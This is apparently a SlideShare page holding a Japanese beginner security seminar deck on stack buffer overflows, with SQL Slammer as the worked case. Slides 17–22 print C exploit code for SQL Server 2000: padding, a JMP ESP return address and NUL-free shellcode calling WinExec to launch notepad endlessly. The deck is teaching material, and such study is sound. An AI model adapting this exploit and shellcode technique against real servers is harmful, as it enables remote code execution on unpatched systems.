Soumettre la recherche
Mettre en ligne
No.2 超初心者向け セキュリティ入門
•
Télécharger en tant que PPTX, PDF
•
0 j'aime
•
215 vues
S
Study Group by SciencePark Corp.
Suivre
勉強会で発表した資料。 https://sciencepark.connpass.com/event/140913/
Lire moins
Lire la suite
Logiciels
Signaler
Partager
Signaler
Partager
1 sur 24
Télécharger maintenant
Recommandé
Xilinx SDSoC(2016.2)解体新書ソフトウェア編
Xilinx SDSoC(2016.2)解体新書ソフトウェア編
Mr. Vengineer
FPGAお薦めボード5種類
FPGAお薦めボード5種類
Tsuyoshi Horigome
iostatの見方
iostatの見方
Yohei Azekatsu
IoTハンズオン
IoTハンズオン
Takashi Ariyama
CentOS7をインストールして遊ぶのだ
CentOS7をインストールして遊ぶのだ
Yukio Saito
Xilinx SDSoC(2016.3)解体新書ソフトウェア編
Xilinx SDSoC(2016.3)解体新書ソフトウェア編
Mr. Vengineer
IoTハンズオン資料(おうちハック)配布用
IoTハンズオン資料(おうちハック)配布用
Takashi Ariyama
今さら聞けないasteria warp運用の基礎 ファイナル
今さら聞けないasteria warp運用の基礎 ファイナル
ASTERIA User Group
Recommandé
Xilinx SDSoC(2016.2)解体新書ソフトウェア編
Xilinx SDSoC(2016.2)解体新書ソフトウェア編
Mr. Vengineer
FPGAお薦めボード5種類
FPGAお薦めボード5種類
Tsuyoshi Horigome
iostatの見方
iostatの見方
Yohei Azekatsu
IoTハンズオン
IoTハンズオン
Takashi Ariyama
CentOS7をインストールして遊ぶのだ
CentOS7をインストールして遊ぶのだ
Yukio Saito
Xilinx SDSoC(2016.3)解体新書ソフトウェア編
Xilinx SDSoC(2016.3)解体新書ソフトウェア編
Mr. Vengineer
IoTハンズオン資料(おうちハック)配布用
IoTハンズオン資料(おうちハック)配布用
Takashi Ariyama
今さら聞けないasteria warp運用の基礎 ファイナル
今さら聞けないasteria warp運用の基礎 ファイナル
ASTERIA User Group
iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方
歩 柴田
知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了
ASTERIA User Group
Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補
Takashi Ariyama
Dexcs2020-OF install
Dexcs2020-OF install
Etsuji Nomura
NetBSD/Zynq
NetBSD/Zynq
Kaz Nakamura
Azure de Vyatta
Azure de Vyatta
Kazumi Hirose
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
Mr. Vengineer
Dexcs2017 of install
Dexcs2017 of install
Etsuji Nomura
自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介
Kentaro Mitsuyasu
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
Naoto MATSUMOTO
Sata 産業用工業用フラッシュメモリー
Sata 産業用工業用フラッシュメモリー
工業用産業用メモリーUDINFOJP
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFOJP
自作x86エミュレータの終焉
自作x86エミュレータの終焉
Daisuke Kamikawa
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
黒 林檎
Secure element for IoT device
Secure element for IoT device
Kentaro Mitsuyasu
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
yhanako
物理マシンをケチる技術
物理マシンをケチる技術
Satoshi KOBAYASHI
やさしいUNAC
やさしいUNAC
shutdown_h_now
DEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストール
stebee19
Sesearch
Sesearch
Hiroki Ishikawa
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
Etsuji Nakai
Cell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始め
You&I
Contenu connexe
Tendances
iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方
歩 柴田
知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了
ASTERIA User Group
Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補
Takashi Ariyama
Dexcs2020-OF install
Dexcs2020-OF install
Etsuji Nomura
NetBSD/Zynq
NetBSD/Zynq
Kaz Nakamura
Azure de Vyatta
Azure de Vyatta
Kazumi Hirose
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
Mr. Vengineer
Dexcs2017 of install
Dexcs2017 of install
Etsuji Nomura
自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介
Kentaro Mitsuyasu
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
Naoto MATSUMOTO
Sata 産業用工業用フラッシュメモリー
Sata 産業用工業用フラッシュメモリー
工業用産業用メモリーUDINFOJP
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFOJP
自作x86エミュレータの終焉
自作x86エミュレータの終焉
Daisuke Kamikawa
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
黒 林檎
Secure element for IoT device
Secure element for IoT device
Kentaro Mitsuyasu
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
yhanako
物理マシンをケチる技術
物理マシンをケチる技術
Satoshi KOBAYASHI
やさしいUNAC
やさしいUNAC
shutdown_h_now
DEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストール
stebee19
Sesearch
Sesearch
Hiroki Ishikawa
Tendances
(20)
iostat await svctm の 見かた、考え方
iostat await svctm の 見かた、考え方
知っておきたいASTERIA WARPの強制終了
知っておきたいASTERIA WARPの強制終了
Node-RED勉強会(20160826)追補
Node-RED勉強会(20160826)追補
Dexcs2020-OF install
Dexcs2020-OF install
NetBSD/Zynq
NetBSD/Zynq
Azure de Vyatta
Azure de Vyatta
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
ZynqMPのブートとパワーマネージメント : (ZynqMP Boot and Power Management)
Dexcs2017 of install
Dexcs2017 of install
自宅スケーラブル・ファイルシステムのご紹介
自宅スケーラブル・ファイルシステムのご紹介
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
デバイスとネットワーク仮想化を使ったワイヤレスネットワーク拡張の実証実験 -メモ-
Sata 産業用工業用フラッシュメモリー
Sata 産業用工業用フラッシュメモリー
工業用産業用メモリーUDINFO
工業用産業用メモリーUDINFO
自作x86エミュレータの終焉
自作x86エミュレータの終焉
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
総サイバーセキュリティザックさんの代打~ネットワークカメラのハック~
Secure element for IoT device
Secure element for IoT device
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
無償ライセンス ESXi と 3rd パーティ製バックアップ製品
物理マシンをケチる技術
物理マシンをケチる技術
やさしいUNAC
やさしいUNAC
DEXCS2015のWindows10 PCへのインストール
DEXCS2015のWindows10 PCへのインストール
Sesearch
Sesearch
Similaire à No.2 超初心者向け セキュリティ入門
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
Etsuji Nakai
Cell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始め
You&I
スタート低レイヤー #0
スタート低レイヤー #0
Kiwamu Okabe
Android起動周りのノウハウ
Android起動周りのノウハウ
chancelab
もしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったら
Takuma Nakajima
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門
VirtualTech Japan Inc.
Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315
Takahiro Kujirai
DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -
Tomoya Kabe
Mt basic as-os_on_danbot
Mt basic as-os_on_danbot
たけおか しょうぞう
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
DNA Data Bank of Japan center
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
NTT DATA Technology & Innovation
A story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88k
Kenji Aoyama
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス
5mingame2
Zマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OS
IBMソリューション
Apache cloudstack4.0インストール
Apache cloudstack4.0インストール
Yasuhiro Arai
01.超初心者向けセキュリティ入門
01.超初心者向けセキュリティ入門
Study Group by SciencePark Corp.
CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1
Kotaro Noyama
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ
Makiko Konoshima
Osc10do linux nextstep
Osc10do linux nextstep
smokey monkey
さくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみた
SAKURA Internet Inc.
Similaire à No.2 超初心者向け セキュリティ入門
(20)
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
OpenStackクラウド基盤構築ハンズオンセミナー 第1日:ハンズオンNo1
Cell/B.E. プログラミング事始め
Cell/B.E. プログラミング事始め
スタート低レイヤー #0
スタート低レイヤー #0
Android起動周りのノウハウ
Android起動周りのノウハウ
もしCloudStackのKVMホストでPCIパススルーできるようになったら
もしCloudStackのKVMホストでPCIパススルーできるようになったら
OpenStackで始めるクラウド環境構築入門
OpenStackで始めるクラウド環境構築入門
Lpicl1セミナー資料20140315
Lpicl1セミナー資料20140315
DeNAインフラの今とこれから - 今編 -
DeNAインフラの今とこれから - 今編 -
Mt basic as-os_on_danbot
Mt basic as-os_on_danbot
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
NGS解析を始めた時にぶつかりがちな小さい壁あれこれ
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
コンテナセキュリティにおける権限制御(OCHaCafe5 #3 Kubernetes のセキュリティ 発表資料)
A story of porting OpenBSD/luna88k
A story of porting OpenBSD/luna88k
どこでも動くゲームを作るためのベタープラクティス
どこでも動くゲームを作るためのベタープラクティス
Zマイスターとの新たな価値探求 z/OS
Zマイスターとの新たな価値探求 z/OS
Apache cloudstack4.0インストール
Apache cloudstack4.0インストール
01.超初心者向けセキュリティ入門
01.超初心者向けセキュリティ入門
CloudFoundry 2 on Apache CloudStack 4.2.1
CloudFoundry 2 on Apache CloudStack 4.2.1
2011.09.18 v7から始めるunix まとめ
2011.09.18 v7から始めるunix まとめ
Osc10do linux nextstep
Osc10do linux nextstep
さくらのクラウドでVyOS使ってみた
さくらのクラウドでVyOS使ってみた
Plus de Study Group by SciencePark Corp.
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
Study Group by SciencePark Corp.
YOLOとご一緒にPandasはいかがですか
YOLOとご一緒にPandasはいかがですか
Study Group by SciencePark Corp.
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
Study Group by SciencePark Corp.
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
Study Group by SciencePark Corp.
ドライバへのETWの埋め込み
ドライバへのETWの埋め込み
Study Group by SciencePark Corp.
JTAGを使ってみよう
JTAGを使ってみよう
Study Group by SciencePark Corp.
JTAG入門
JTAG入門
Study Group by SciencePark Corp.
初心者向けデバイスドライバ講座(6)
初心者向けデバイスドライバ講座(6)
Study Group by SciencePark Corp.
ローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみた
Study Group by SciencePark Corp.
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Study Group by SciencePark Corp.
02.超初心者向けセキュリティ入門(IoT)
02.超初心者向けセキュリティ入門(IoT)
Study Group by SciencePark Corp.
06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)
Study Group by SciencePark Corp.
Visual StudioでWixをビルドしてみた
Visual StudioでWixをビルドしてみた
Study Group by SciencePark Corp.
MacOS10.15への対応について
MacOS10.15への対応について
Study Group by SciencePark Corp.
Teamsでのリモート勉強会の開き方
Teamsでのリモート勉強会の開き方
Study Group by SciencePark Corp.
リモートでの勉強会参加方法
リモートでの勉強会参加方法
Study Group by SciencePark Corp.
初心者向けデバイスドライバ講座 (2)
初心者向けデバイスドライバ講座 (2)
Study Group by SciencePark Corp.
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
Study Group by SciencePark Corp.
初心者向けデバイスドライバ講座(1)
初心者向けデバイスドライバ講座(1)
Study Group by SciencePark Corp.
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Study Group by SciencePark Corp.
Plus de Study Group by SciencePark Corp.
(20)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
WPFの画面をWebブラウザのように拡大・縮小に追従させる方法(オートスクロールバー付き)
YOLOとご一緒にPandasはいかがですか
YOLOとご一緒にPandasはいかがですか
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
新入社員の俺がDeepLearningのコードを書いてみたら神検出率だった件
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
.NET CoreでのWindowsサービスの作り方と、Coreならではの便利な機能
ドライバへのETWの埋め込み
ドライバへのETWの埋め込み
JTAGを使ってみよう
JTAGを使ってみよう
JTAG入門
JTAG入門
初心者向けデバイスドライバ講座(6)
初心者向けデバイスドライバ講座(6)
ローカルストレージでの永続化キューの方式を本気で比較してみた
ローカルストレージでの永続化キューの方式を本気で比較してみた
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
Azure VMを検証に使う - 便利なHyper-Vスナップショットを使う方法
02.超初心者向けセキュリティ入門(IoT)
02.超初心者向けセキュリティ入門(IoT)
06.超初心者向けセキュリティ入門(.netの解析と対策)
06.超初心者向けセキュリティ入門(.netの解析と対策)
Visual StudioでWixをビルドしてみた
Visual StudioでWixをビルドしてみた
MacOS10.15への対応について
MacOS10.15への対応について
Teamsでのリモート勉強会の開き方
Teamsでのリモート勉強会の開き方
リモートでの勉強会参加方法
リモートでの勉強会参加方法
初心者向けデバイスドライバ講座 (2)
初心者向けデバイスドライバ講座 (2)
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
SphinxのCIの続き Azure DevOpsでのビルド結果を、認証付きAzure App Serviceに公開するところまで
初心者向けデバイスドライバ講座(1)
初心者向けデバイスドライバ講座(1)
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
Azure DevTestLabsはデスクトップアプリ開発のテストを楽にしてくれる
No.2 超初心者向け セキュリティ入門
1.
Copyright©2019 SciencePark Corp. 1 No.2
超初心者向け セキュリティ入門 サイエンスパーク株式会社 三浦秀朗
2.
• この講義は「超初心者向けのセキュリティ入門」です • C言語はわかるけど、アセンブラはよくわからないと いう方向けです。 -
社内IT管理者 - ネットワークシステム構築管理者・エンジニア • わかりやすくするため比喩を用いた表現が多く、厳密 にはすべてを解説できない部分が多いです それでもOKな方はご参加ください!! はじめに 2
3.
三浦秀朗(みうらひであき)- miura-hacking-mode ・Windows95からWindows用デバイスドライバを多数開発 ・WDMドライバの有償セミナー(Windows98~)を多数開催 ・NTドライバプログラミング(SOFTBANK)の翻訳・監修 ・Compuware DriverStudio翻訳・国内サポート・セミナー ・セキュリティ製品及びSDKの開発 ~この間、暗黒期~ ・某ゲーム機器会社に出向(約5年) -
FreeBSD系のデバイスドライバ開発を担当 ・某セキュリティコンサル会社に出向中(約2年~現在) - IoT機器のH/W~S/Wまでの脆弱性診断担当 3 発表者
4.
• Buffer Overflow攻撃のおさらい •
予備知識 • 攻撃コード解説 目次 3
5.
Buffer Overflow攻撃の おさらい 5
6.
6 ハッキングの王道:Buffer Overflow C言語の例: void main(int
argc, char **argv) { func(argv[1]); } void func(char *input) { char tmp[8]; strcpy(tmp, input); } コード用 メモリ スタック メモリ tmp[8] 処理後に 戻る アドレス main() { func(...) } func() 正常時はmain()から呼び出した func()の直後を指しているのだが・・・
7.
7 コード用 メモリ スタック メモリ tmp[8] tmp[8] を超えた データ main() { func(...) } func() tmp[]バッファをオーバーフローしたデータ で戻る場所が上書きされた・・・ ? C言語の例: void main(int argc,
char **argv) { func(argv[1]); } void func(char *input) { char tmp[8]; strcpy(tmp, input); } ハッキングの王道:Buffer Overflow
8.
8 スタック メモリ tmp[8] 悪意ある コードの アドレス 方法1:悪意あるコードを直接実行! スタック メモリ tmp[8] JMP ESPのア ドレス 方法2:悪意あるコードを間接実行! 何かの ライブラリ JMP ESP(x86) BX SP(ARM) スタックの 絶対アドレスが わからないと無理 現在のスタック アドレスの次の番地 から実行できる ハッキングの王道:Buffer
Overflow
9.
SQL Slammer 世界で最初にBOFによる大きな被害を出した攻撃 2003年1月25日5時30分 (UTC)
に発生 Microsoft SQL Server 2000がターゲット MSDE(Microsoft SQL Server Desktop Engine )も含む MSDEは普通のクライアントPCでもよく利用されていた ネットワークのSQL発行用ポート経由で侵入 不正なSQL文を送り込んで任意のコードを実行 ⇒感染台数は僅か10分で7万5000台以上! 9 BOFによるハッキング例
10.
予備知識 10
11.
11 開発環境 - MinGW
12.
12 文字(SQL文)入力インタフェースへの攻撃 SQL Server 2000 SQL文を送るふりをして文字列+攻撃プログラムを送る 注意!!: 送り込むデータに0x00が含まれると文字列のNULLと判断され、それ以上の送信ができなくなります ↓ アセンブラを駆使して、0x00が出てこないように工夫します SQL
Slammer sqlsort.dll 0x42B0C9DCという 数値(JMP ESP命令)
13.
13 プログラムとスタック(Intel x86) プログラムメモリ スタックメモリ CPU ・・・ PUSH
EBP MOV EBP, ESP SUB ESP, 40H PUSHAD ・・・ CPUはプログラムメモリを順 に読んで実行していきます レジスタはCPU内部の 記憶領域です レジスタでは収まらない 一時データ領域 CALL命令の戻り番地 CALL命令の引数 スタックは様々な用途で 用いられます 動的に生成した プログラム ここにプログラムを置いて 実行することもできます (危険)
14.
14 http://pnx.tf/files/x86_opcode_structure_and_instruction_overview.png
15.
15 使用するx86命令 命令 機能 例 PUSH
レジスタやメモリの値をスタックに積み上げます PUSH EBP PUSHAD MOV xxからyyに値を代入します MOV EBP, ESP ADD xxにyyを加算します ADD EDI, 06h SUB xxにyyを減算します SUB ESP, 40H JMP xx番地のプログラムを実行します JMP ESP CALL xx番地のプログラムをサブルーチンとして実行し ます (戻り番地を自動的にスタックに積み上げます) CALL EAX LEA MOV命令と似ているが、アドレスの中身を代入す るのではなく、アドレス値自体を代入する LEA EAX, [EBP-0Dh]
16.
攻撃コードの解説 16
17.
17 攻撃コード - ネットワーク&バッファ満たす void
Attack(char *target_ip, struct sockaddr_in *s_sa) { char request[4000]; memset(request, 0, sizeof(request)); // ネットワークの初期化 int ErrorLevel = StartWinsock(target_ip, s_sa); if (ErrorLevel == 0) { printf("Error starting Winsock.n"); return; } // SQL ServerにSQL文を送る時のコマンド strcat(request, "x04"); // SQL Serverのコマンドバッファをあふれる寸前にする strcat(request, "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOO OOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXX");
18.
18 攻撃コード - スタック上のコードを実行させる //
0x42B0C9DC <- JMP ESP in sqlsort.dll (0xFFE4) strcat(request, "xDCxC9xB0x42"); // -> Part0へジャンプするだけ(オフセット=0xe) strcat(request, "xEBx0E"); strcat(request, "x41x42x43x44x45x46"); // -> Dummy strcat(request, "xFFxFFxFFxFF"); // -> Dummy strcat(request, "xFFxFFxFFxFF"); // -> Dummy // just a few nops // Part0 strcat(request, "x90x90x90x90x90x90x90x90");
19.
19 外部プロセスを起動するAPI UINT WinExec( LPCSTR
lpCmdLine, UINT uCmdShow ); パラメータ: lpCmdLine・・・コマンドライン文字列 nCmdShow・・・実行時に画面表示をするか否かを指定 notepad.exeを無限に起動してみよう!!
20.
20 攻撃コード - 一般的なプログラムの前準備 //
Part1 strcat(request, "x55"); // PUSH EBP strcat(request, "x8BxEC"); // MOV EBP, ESP →今のスタック位置を保存しておく strcat(request, "x83xECx40"); // SUB ESP, 40H →自分で使う変数分(0x40)、スタックを確保しておく strcat(request, "x60"); // PUSHAD →一応全部のレジスタを保存しておく(いらないかも)
21.
21 攻撃コード - "notepad.exe"をスタックに入れる //
notepad.exe strcat(request, "xC6x45xF3x6E"); // MOV BYTE PTR [EBP-0Dh] -> 'n' strcat(request, "xC6x45xF4x6F"); // MOV BYTE PTR [EBP-0Ch] -> 'o' strcat(request, "xC6x45xF5x74"); // MOV BYTE PTR [EBP-0Bh] -> 't' strcat(request, "xC6x45xF6x65"); // MOV BYTE PTR [EBP-0Ah] -> 'e' strcat(request, "xC6x45xF7x70"); // MOV BYTE PTR [EBP-09h] -> 'p' strcat(request, "xC6x45xF8x61"); // MOV BYTE PTR [EBP-08h] -> 'a' strcat(request, "xC6x45xF9x64"); // MOV BYTE PTR [EBP-07h] -> 'd' strcat(request, "xC6x45xFAx2E"); // MOV BYTE PTR [EBP-06h] -> '.' strcat(request, "xC6x45xFBx65"); // MOV BYTE PTR [EBP-05h] -> 'e' strcat(request, "xC6x45xFCx78"); // MOV BYTE PTR [EBP-04h] -> 'x' strcat(request, "xC6x45xFDx65"); // MOV BYTE PTR [EBP-03h] -> 'e' strcat(request, "xC6x45xFExFF"); // MOV BYTE PTR [EBP-02h] -> 0xff strcat(request, "x80x45xFEx01"); // SUB BYTE PTR [EBP-02h], 01h <-偽NULL
22.
22 WinExecを実行して無限ループ // 「MOV EDI,
00000005h」と書きたいがNULLが入ってしまうので、FFFFFFFFh-06hで代用 strcat(request, "xBFxFFxFFxFFxFF"); // MOV EDI, FFFFFFFFh // 0xFFFFFFFFhに0x06を足して、0x05にする strcat(request, "x83xC7x06"); // ADD EDI, 06h (EDI <- 0x05) strcat(request, "x57"); // PUSH EDI uCmdShow=SW_SHOW(0x05) strcat(request, “x8Dx45xF3”); // LEA EAX, [EBP-0Dh] “notepad.exe”の先頭番地->EAX strcat(request, “x50”); // PUSH EAX lpCmdLine=“notepad.exe” strcat(request, "xB8x01x86xE6x77"); // MOV EAX, 0x77E68601 (WinExec@kernel32.dll) strcat(request, "xFFxD0"); // CALL EAX strcat(request, "xEBxB6"); // JMP ここから-54バイト
23.
• Windowsが動作するパソコンがあればハンズオン参加できます • 無料ツールだけ使います(MinGW) •
ソースコードは別途ご案内します • 被攻撃サーバーはこちらで用意します 23 次回 - 攻撃のハンズオン
24.
ご清聴ありがとうございました 24 SP1909-E04
Télécharger maintenant